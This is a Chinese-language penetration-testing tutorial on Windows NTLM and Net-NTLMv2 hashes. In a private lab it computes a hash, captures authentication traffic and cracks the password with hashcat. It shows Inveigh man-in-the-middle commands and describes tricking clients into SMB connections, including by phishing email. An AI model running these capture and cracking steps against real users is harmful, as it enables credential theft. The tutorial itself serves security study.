Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 介绍
0x00 前言
在 Windows 系统中,比较常见是从系统导出来的 NTLM hash,通过 Hashcat 能够破解出明文密码。
Hashcat 支持超过 200 种高度优化的 hash 算法,其中和 NTLM hash 相关的有 4 个,分别为 NetNTLMv1
、 NetNTLMv1+ESS
、 NetNTLMv2
和 NTLM
。
NetNTLM 具体是什么呢?又是如何获得的呢?本文受到 byt3bl33d3r 文章的启发,下面将结合自己的心得,介绍这部分内容
0x01 简介
- NTLM hash 和 Net-NTLM hash 区别
- NTLM hash 的加密方法
- Net-NTLM hash 的破解
0x02 NTLM hash
通常是指 Windows 系统下 Security Account Manager 中保存的用户密码 hash
该 hash 的生成方法:
- 将明文口令转换成十六进制的格式
- 转换成 Unicode 格式,即在每个字节之后添加 0x00
- 对 Unicode 字符串作 MD4 加密,生成 32 位的十六进制数字串
实际测试:
用户密码为 test123
- 转换成十六进制的格式为
74657374313233
- 转换成 Unicode 格式为
7400650073007400310032003300
对字符串 7400650073007400310032003300
作 MD4 加密,结果为 c5a237b7e9d8e708d8436b6148a25fa1
注:
MD4 加密可使用工具 HashCalc,如下图
下面使用 mimikatz 导出用户密码的 hash,对比进行验证,结果相同,验证成功,如下图
在渗透测试中,通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中获得所有用户的 hash,通过 Mimikatz 读取 lsass.exe 进程能获得已登录用户的 NTLM hash
补充:
Windows Vista 和 Windows Server 2008 以前的系统还会使用 LM hash
LM hash 的生成方法本文暂不介绍
自 Windows Vista 和 Windows Server 2008 开始,Windows 取消 LM hash
但某些工具的参数需要填写固定格式 LM hash:NT hash
,可以将 LM hash 填 0(LM hash 可以为任意值),即 00000000000000000000000000000000:NT hash
0x03 Net-NTLM hash
通常是指网络环境下 NTLM 认证中的 hash
NTLM 认证采用质询/应答(Challenge/Response)的消息交换模式,流程如下:
- 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码 hash
- 服务器接收到请求后,生成一个 16 位的随机数(这个随机数被称为 Challenge),明文发送回客户端。使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1
- 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器
- 服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功
在以上流程中,登录用户的密码 hash 即 NTLM hash
,response 中包含 Net-NTLM hash
更多 NTLM 认证的资料可参考:http://davenport.sourceforge.net/ntlm.html
在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法
所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash
实际测试:
服务器:
- IP: 192.168.62.139
- 登录用户名: a
- 登录密码: test123
客户端:
- IP: 192.168.62.130
客户端通过命令行远程连接服务器,命令如下:
net use \\192.168.52.139 /u:a test123
同时,客户端运行 Wireshark,捕获数据包,如下图
前四个数据包对应 NTLM 认证的四个步骤
查看第二个数据包,获得 Challenge,为 c0b5429111f9c5f4
,如下图
查看第三个数据包,获得客户端加密后的 Challenge,为 a9134eee81ca25de
,如下图
Response 数据为 a5f1c47844e5b3b9c6f67736a2e1916d:0101000000000000669dae86ba8bd301a9134eee81ca25de0000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800669dae86ba8bd30106000400020000000800300030000000000000000000000000300000e9d9e613613097d1e2f47c1fd97fa099f65dfd78075d8bdb5ca162492ea5d2990a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000
,如下图
下面,使用 Hashcat 对该 Net-NTLM hash 进行破解
NTLMv2 的格式为:username::domain:challenge:HMAC-MD5:blob
注:
challenge 为 NTLM Server Challenge,domian 由数据包内容获得(IP 或者机器名)
HMAC-MD5 对应数据包中的 NTProofStr,如下图
blob 对应数据包中 Response 去掉 NTProofStr 的后半部分
因此,完整的 NTLMv2 数据如下:a::192.168.62.139:c0b5429111f9c5f4:a5f1c47844e5b3b9c6f67736a2e1916d:0101000000000000669dae86ba8bd301a9134eee81ca25de0000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800669dae86ba8bd30106000400020000000800300030000000000000000000000000300000e9d9e613613097d1e2f47c1fd97fa099f65dfd78075d8bdb5ca162492ea5d2990a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000
为便于测试,新建字典文件,字典内容为 test123
Hashcat 参数如下:
hashcat -m 5600 a::192.168.62.139:c0b5429111f9c5f4:a5f1c47844e5b3b9c6f67736a2e1916d:0101000000000000669dae86ba8bd301a9134eee81ca25de0000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800669dae86ba8bd30106000400020000000800300030000000000000000000000000300000e9d9e613613097d1e2f47c1fd97fa099f65dfd78075d8bdb5ca162492ea5d2990a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000 /tmp/password.list -o found.txt --force
说明:
- -m: hash-type,5600 对应 NetNTLMv2,详细参数可查表: https://hashcat.net/wiki/doku.php?
- -o: 输出文件 字典文件为/tmp/password.list
- --force 代表强制执行,测试系统不支持 Intel OpenCL
成功破解出登录的明文密码,输出如下图
在渗透测试中,通常有以下两种利用方法
1、使用中间人攻击的方式来获取 Net-NTLM hash,常用工具为 Responder 和 Inveigh
Responder:
python 编写,可供参考的地址:https://github.com/lgandx/Responder
Inveigh:
powershell 编写,可供参考的地址:https://github.com/Kevin-Robertson/Inveigh
实际测试:
测试环境同上,在同一网段下的一个测试主机运行 Inveigh,参数如下:
Import-Module .\Inveigh.psd1
Invoke-Inveigh -consoleoutput Y
当客户端通过命令行远程连接服务器时,Inveigh 捕获到 Net-NTLMv2 hash,如下图
NTLMv2 hash 为 a::WIN-FVJLPTISCFE:A944CF357E0938DA:C1BB2CDD038D3AA6FA53FD360D7CBA9C:0101000000000000937115D1BC8BD301033605ACA1ACA1C00000000002001E00570049004E002D003100550041004200430047004200470049005500330001001E00570049004E002D003100550041004200430047004200470049005500330004001E00570049004E002D003100550041004200430047004200470049005500330003001E00570049004E002D003100550041004200430047004200470049005500330007000800937115D1BC8BD30106000400020000000800300030000000000000000100000000200000E9D9E613613097D1E2F47C1FD97FA099F65DFD78075D8BDB5CA162492EA5D2990A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00360032002E00310033003900000000000000000000000000
Hashcat 参数如下:
hashcat -m 5600 a::WIN-FVJLPTISCFE:A944CF357E0938DA:C1BB2CDD038D3AA6FA53FD360D7CBA9C:0101000000000000937115D1BC8BD301033605ACA1ACA1C00000000002001E00570049004E002D003100550041004200430047004200470049005500330001001E00570049004E002D003100550041004200430047004200470049005500330004001E00570049004E002D003100550041004200430047004200470049005500330003001E00570049004E002D003100550041004200430047004200470049005500330007000800937115D1BC8BD30106000400020000000800300030000000000000000100000000200000E9D9E613613097D1E2F47C1FD97FA099F65DFD78075D8BDB5CA162492EA5D2990A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00360032002E00310033003900000000000000000000000000 /tmp/password.list --force
成功破解出登录的明文密码,输出如下图
2、通过多种方式强制目标客户端向伪造的服务器发起 SMB 连接,在伪造的服务器上捕获数据包,获得 Net-NTLM hash
对于 SMB 协议,客户端在连接服务端时,默认先使用本机的用户名和密码 hash 尝试登录
实际测试:
- 客户端 IP: 192.168.62.139
- 服务端 IP: 192.168.62.130
服务端运行 Wireshark,捕获数据包
客服端尝试连接服务器,为便于演示,通过界面操作,地址栏直接输入 \\192.168.62.130
,弹框提示用户名密码不正确,如下图
此时,服务端的 Wireshark 已经捕获到数据包,组装 Net-NTLMv2 hash,内容如下:
a::WIN-FVJLPTISCFE:a05179df44d8cd35:43589a30aea29cf24fbd9c01a85e4b7e:0101000000000000eb8e1d9bf08ed301ca0ea89448cceba80000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800eb8e1d9bf08ed30106000400020000000800300030000000000000000100000000200000e4ab58611d3ed61427fa3c7075c75897aebae420dd42b71c73886ebca92b3c3b0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000
Hashcat 参数如下:
hashcat -m 5600 a::WIN-FVJLPTISCFE:a05179df44d8cd35:43589a30aea29cf24fbd9c01a85e4b7e:0101000000000000eb8e1d9bf08ed301ca0ea89448cceba80000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800eb8e1d9bf08ed30106000400020000000800300030000000000000000100000000200000e4ab58611d3ed61427fa3c7075c75897aebae420dd42b71c73886ebca92b3c3b0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000 /tmp/password.list --force
成功破解出客户端当前用户的明文密码,输出如下图
实际利用举例:发送钓鱼邮件,用户打开邮件时会隐蔽访问伪造的服务器,服务器通过捕获数据包就能获得目标当前用户的 Net-NTLM hash,进一步破解还原出明文密码
0x04 小结
本文介绍了 NTLM hash 和 Net-NTLM hash 的区别,实际演示 NTLM hash 的加密方法和 Net-NTLMv2 hash 的破解方法。如果破解不出明文密码,对于 NTLM hash 可使用 Pass-The-Hash 作进一步利用,那么对于 Net-NTLM hash 呢?
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: 渗透技巧——Token 窃取与利用
下一篇: Covenant 利用分析
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论